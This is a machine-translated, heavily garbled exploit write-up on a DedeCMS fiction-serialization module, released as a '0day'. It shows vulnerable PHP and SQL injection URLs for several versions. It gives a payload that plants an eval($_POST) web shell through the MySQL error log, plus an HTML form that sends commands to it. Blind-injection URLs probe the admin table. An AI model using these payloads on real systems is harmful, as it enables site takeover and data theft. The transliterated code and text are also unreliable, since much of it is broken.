ДЕДЕЦМС фикција серијски модул 0даи-0даи Чланци Цондо, магиц_куотес_гпц, мибоокс.пхп, мискл_еррор_траце.инц, мискл_еррор_траце.пхп, стори_боокс.пхп, стори_лист_цхаптер.пхп, стори_лист_цонтент.пхп, стори

ДЕДЕЦМС фикција серијски модул 0даи

Данашји улажење је оглашен на сеп 22 2009

: Ст0п
Може бити репродукован, али молимо назначите хттп://ввв.ст0п.орг соурце

Због рупа појавити у ДЕДЕЦМС модула роману серијала, докле год избори роман серијализују ДЕДЕЦМС инсталирате модул, онда овај проблем, неке верзије под условима дозволити можете директно добити ЉУСКЕ О.
ст0п резиме о употреби услова услова: када се сервис за ПХП подешавања, магиц_куотес_гпц = Искључено
Стање 2: ДЕДЕЦМС мета систем инсталације фикција серијски модул је изабрана

Прво, хајде да погледамо чл Цондо 5.1, романа и канала Чланци Цондо 5.3.1 чл Цондо 5.5, јер је његов фајл у именик чланова, фајл је члан / чланови стори_боокс.пхп Цондо 5.3.1 и 5.5 Чланци Цондо фајл У књизи директоријум, фајл је књига / стори_боокс.пхп
Због сличног кода унутра, тако, хајде да погледамо на једном стори_боокс.пхп линији

  <Пхп?
 ......
 ! isset ( $action ) ) $action = '' ; //检测变量$action是否存在，不存则则给初使值 иф (иссет ($ акција)!) $ ацтион =''; / / детекција променљиве долара акцију ако не постоји, а затим на почетне вредности
 ! isset ( $catid ) ) $catid = 0 ; //检测变量$catid是否存在，不存则则给初使值 иф (иссет ($ ланг)!) $ цатид = 0; / / испитивање варијабла $ цатид постоји не постоји да је рано да се вредност
 ! isset ( $keyword ) ) $keyword = "" ; //检测变量$keyword是否存在，不存则则给初使值 иф (иссет ($ кључна реч!)) $ кључне речи = ""; / / детекција променљиве долара кључну реч постоји, не постоји, онда се на почетне вредности
 ! isset ( $orderby ) ) $orderby = 0 ; //检测变量$orderby是否存在，不存则则给初使值 иф (иссет ($ ордерби)!) $ ордерби = 0; / / детектовати варијабла $ ордерби да ли не постоји да је рано да се вредност
 ......
 $catid != 0 ) $addquery .= " And (b.bcatid=' $catid ' Or b.catid=' $catid ') " ; иф ($ цатид = 0!) $ аддкуери = "И (б.бцатид = '$ ланг' Или б.цатид = '$ ланг')".; 
 / / Променљива $ ланг није 0, што директно за $ $ ланг да аддкуери није верификован
 $keyword != "" ) $addquery .= " And (b.bookname like '% $keyword %' Or b.author like '% $keyword %') " ; иф ($ кеиворд = "") $ = аддкуери. "И (б.боокнаме као" кључна реч% $% 'Или б.аутхор као "кључна реч% $%')";
 / / Променљива $ кључна реч није празна, то је директна $ $ аддкуери кључна реч није верификован
 " $ Куери = " 
     Изаберите б.ид, б.цатид, б.боокнаме, б.бооктипе, б.литпиц, б.постнум, б.сенддате, б.исцхецк, ц.ид као ЦИД, ц.цласснаме Из # @ __ стори_боокс Б 
     ЛЕФТ ЈОИН # @ __ ц на стори_цаталог ц.ид = б.цатид где мемберид = {$ цфг_мл-> М_ИД} и б.ид> 0 $ $ аддкуери ордерби 
  ";
 / / Генерисање изјаву
 ......
 >?

Горе код да видимо, ГА, цатид и кључна реч нема филтера, тако да је то узроковано ињекције, али изгледа да представља изјава је мало проблема, ово није у овом чланку разматра обим нашег малог пример покушајте следеће акције плеасе тестиран после слетања, директном регистрације налога, логин, затим унесите следећу адресу

Чланци Цондо 5.1

Тест цатид променљиву на следећој адреси
хттп://ст0п:88/дедецмс51/мембер/стори_боокс.пхп?цатид=10 ') или (' ст0п '=' ст0п

Тест две променљиве кључна реч, на адресу
хттп://ст0п:88/дедецмс51/мембер/стори_боокс.пхп?кеиворд=ст0п% 'или као'% ц.цласснаме ст0п

Чланци Цондо 5.31

Тест цатид променљиву на следећој адреси
хттп://ст0п:88/дедецмс53/боок/стори_боокс.пхп?цатид=10 ') или (' ст0п '=' ст0п

Тест две променљиве кључна реч, на адресу

хттп://ст0п:88/дедецмс53/боок/стори_боокс.пхп?кеиворд=ст0п% 'или као'% ц.цласснаме ст0п

Чланци Цондо 5.5

Тест цатид променљиву на следећој адреси
хттп://ст0п:88/дедецмс55/боок/стори_боокс.пхп?цатид=10 ') или (' ст0п '=' ст0п

Тест две променљиве кључна реч, на адресу
хттп://ст0п:88/дедецмс55/боок/стори_боокс.пхп?кеиворд=ст0п% 'или као'% ц.цласснаме ст0п

Погледајте три верзије, новију верзију ДЕДЕЦМС убризгати границе Изјава убризгавањем пробам, ст0п не причамо.
У ствари, докле год смо променили дозволе да добијем неке поене, сетите се да је МиСКЛ грешку у писани суфикс ПХП буг лог филе, 5.1 изгледа да не функционише, неки 5.31 ненадоградјени, онда, ако Надоградјена као суфиксом 5.5 променио име у ИНЦ тако у писаној речи коњу, али није могао користити. . . Лоше Ах, ако чак и рано откривање је кроз смрт. . .

Чланци Цондо 5.31
инцлуде / дедескл.цласс.пхп фајл

  ......
	 / / Приказ грешка информације на линк података
	 $msg ) ДисплаиЕррор функција ($ мсг)
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ; //这里是PHP后缀 $ ЕррорТрацкФиле = дирнаме (__) ФИЛЕ__ '/ .. / дата / мискл_еррор_траце.пхп',. / / Овде је ПХП суфикс
		 '' ; $ Емсг ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $ Емсг = "<див> <х3> ДедеЦМС Упозорење Грешка </ Х3> \ р \ н".;
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $ Емсг = "<див> <а Цласс=" тхицкбок" хреф='хттп://ббс.дедецмс.цом' таргет='_бланк' стиле='цолор:ред'> Техничка подршка: хттп://ббс.. дедецмс.цом </ а> </ див> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $ Емсг = "<див Стиле='лине-хелгхт:160%;фонт-сизе:14пк;цолор:греен'> \ р \ н".;
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $ Емсг = "<див Стиле='цолор:блуе'> <бр /> Грешка страна: <фонт цолор='ред'>"... $ Ово -> ГетЦурУрл () "</ фонт> </ див> \ р \ н ";
		 "<div>Error infos: {$msg} </div> \r \n " ; $ Емсг = "Грешка <див> Инфос: {мсг $} </ див> \ р \ н".;
		 "<br /></div></div> \r \n " ; $ Емсг = "<бр /> </ див> </ див> \ р \ н".;

		 ; ецхо $ емсг;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; Долара Савемсг = 'Страница: "Ово $ -> ГетЦурУрл ()" \ р \ н Грешка: "$ мсг,...
		 / / Саве тхе МиСКЛ Еррор лог
		 fopen ( $errorTrackFile , 'a' ) ; $ Фп = фопен @ ($ еррорТрацкФиле, '');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ Фврите ($ фп, '<'. 'ПХП?' "\ Р \ н / * \ р \ н {$ савемсг} \ р \ н * / \ р \ н?".. "> \ Р \ н" );
		 ( $fp ) ; @ Фцлосе ($ фп);
	 }
 ......

Чланци Цондо 5.5 и Надоградјена
инцлуде / дедескл.цласс.пхп фајл

 function DisplayError ( $msg ) { $errorTrackFile = dirname ( __FILE__ ) . '/../data/mysql_error_trace.inc' ; //后缀变成INC了 if ( file_exists ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ) //如果mysql_error_trace.php存在，删除文件 { @ unlink ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ; } $emsg = '' ; $emsg .= "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $emsg .= "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $emsg .= "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $emsg .= "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $emsg .= "<div>Error infos: {$msg} </div> \r \n " ; $emsg .= "<br /></div></div> \r \n " ; echo $emsg ; $savemsg = 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; //保存MySql错误日志 $fp = @ fopen ( $errorTrackFile , 'a' ) ; @ fwrite ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ fclose ( $fp ) ; } ...... / / Приказ података линкс грешка информације ДисплаиЕррор функција ($ мсг) {$ од еррорТрацкФиле = дирнаме (__) ФИЛЕ__ '/ .. / дата / мискл_еррор_траце.инц';.. / / Ако мораш постати суфикс (филе_екистс (дирнаме (__ ФИЛЕ__) '/. се / дата / мискл_еррор_траце.пхп.')) / / ако постоје мискл_еррор_траце.пхп, обришите датотеку {@ одвојим дирнаме ((__) ФИЛЕ__ '/ .. / дата / мискл_еррор_траце.пхп.') ;} $ емсг =''; $ емсг = "<див> <х3> ДедеЦМС Упозорење Грешка </ х3> \ р \ н";.. = $ емсг "<див> <цласс =" тхицкбок "хреф = 'хттп://ббс.дедецмс.цом' таргет = '_бланк' стиле = 'Боја: црвена'> Техничка подршка:. хттп://ббс.дедецмс.цом </ а> </ див ">; $ емсг = "<див стиле='лине-хелгхт:160%;фонт-сизе:14пк;цолор:греен'> \ р \ н";. $ емсг = "<див стиле='цолор:блуе'> <бр /> Грешка страна: <фонт цолор='ред'> ".. $ ово -> ГетЦурУрл ()" </ ФОНТ> </ див> \ р \ н "; $. емсг =" Грешка <див> Инфос: {мсг $} . </ див> \ р \ н ";. $ емсг =" <бр /> </ див> </ див> \ р \ н "; ецхо $ емсг; $ савемсг = 'Страница:' $ ово -> ГетЦурУрл () "\ р \ н Грешка:". $ мсг; / / Саве тхе МиСКЛ Еррор лог $ фп = фопен @ ($ еррорТрацкФиле, ''); @ фврите ($ фп, '<' ПХП? '.. ".? \ р \ н / * \ р \ н {$ савемсг} \ р \ н * / \ р \ н" "> \ р \ н"); @ фцлосе ($ фп);} ..... .

Прочитајте горе код, ми разумемо, 5.5 и 5.31 ће бити закрпљене у то, не можете да користите, можемо рећи да око 5.31 искористити методу.
Примена метода

хттп://ст0п:88/дедецмс53/боок/стори_боокс.пхп?кеиворд=ст0п% '* / Евал ($ _ПОСТ [ст0п]);?>

Хеј. Тако да добијамо гранату
Реч адреса за хттп://ст0п:88/дедецмс53/дата/мискл_еррор_траце.пхп
Директан пост у достави податке о коришћењу чланова Цондо 5.5 је иста, али зато код да се бави, па генерисани фајл екстензије мораш, нема користи, следеће се користи да достави хтм кодове, само ставите табелу испод једна адреса коју су у њега

  "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <ДОЦТИПЕ хтмл ПУБЛИЦ "- / / В3Ц / / ДТД КСХТМЛ 1.0 Транситионал / / ЕН" "хттп://ввв.в3.орг/ТР/кхтмл1/ДТД/кхтмл1-транситионал.дтд">
 "http://www.w3.org/1999/xhtml" > <хтмл КСМЛнс = "хттп://ввв.в3.орг/1999/кхтмл">
 <хеад>
 equiv = "Content-Type" content = "text/html; charset=utf-8" /> <Мета-хттп-Екуив = "Цонтент-Типе" садржај = "тект / хтмл; цхарсет = утф-8" />
 "author" content = "st0p,st0p.org" /> <мета Име = "аутхор" садржај = "ст0п, ст0п.орг" />
 st0p一句话提交</ title > <Титле> Ст0п реч подносе </ титле>
 </ Хеад>

 <боди>
 //st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址--> <- ХТТП: / / ст0п: 88/дедецмс53/дата/мискл_еррор_траце.пхп замењен Вашу адресу ->
 "form1" name = "form1" method = "post" action = "http://st0p:88/dedecms53/data/mysql_error_trace.php" > <форм Ид = "форм1" име = "форм1" метод = "пост" акције = "хттп://ст0п:88/дедецмс53/дата/мискл_еррор_траце.пхп">
   <П>
     <Лабел>
       "st0p" id = "st0p" cols = "45" rows = "5" > echo phpinfo ( ) ;</ textarea > <тектареа Име = "ст0п" ид = "ст0п" Цолс = "45" редови = "5"> ехо пхпинфо (); </ тектареа>
     </ Лабел>
   </ П>
   <П>
     <Лабел>
       "submit" name = "button" id = "button" value = "提交" /> <ИНПУТ Тип = "субмит" име = "буттон" ид = "буттон" вредност = "Субмит" />
     </ Лабел>
   </ П>
 </ Форм>
 </ БОДИ>
 </ Хтмл>

Наравно, фикција серијски модул, постоје и други документи, такође постоји исти проблем постоји неколико фајлови следећи
стори_стов.пхп
мибоокс.пхп
стори_боокс.пхп
стори_лист_цхаптер.пхп
стори_лист_цонтент.пхп

Је првобитно мислио издат ове 0даи, Рандом Мисли више од раскрснице говеда пријатеља тачке Кс, деле информације, тако да смо одлучили да изда, после неке мање масти. . .
Постоје проблеми можемо расправљати у мом БЛОГ!

Напомена: Након објављивања чланка, пријатељ рекао је после читања ове веома неукусна, јер доста сервера магиц_куотес_гпц = о случају, који ја не намеравам да се расправља, али сам писао питање је постоји, само желите да користите неке услове 5.31 и 5.5, у 5.1 верзији првом плану може додати серијски књиге, неке са неким филтер кључних речи у СКЛ, па је као никако, морамо да открије верзију 5.1 постоји неколико управљање Члан на пример.
1, желимо да додате књигу серијала
2, хттп://ст0п:88/дедецмс51/мембер/стори_боокс.пхп?цатид=10 ') или (СЕЛЕЦТ ЦОУНТ (*) од деде_админ)> 0 или (' ст0п '=' ст0па

3, хттп://ст0п:88/дедецмс51/мембер/стори_боокс.пхп?цатид=10 ') или (СЕЛЕЦТ ЦОУНТ (*) од деде_админ)> 1 или (' ст0п '=' ст0па

Га, горе закључак је управник број 1. . .
Пример да цитирам то, у ствари, рањивост може јавити у било ком тренутку, али брига о животној средини је различита, различити ефекти и да се добро искористити, а понекад и неукусна ствари и доказати плодна. . .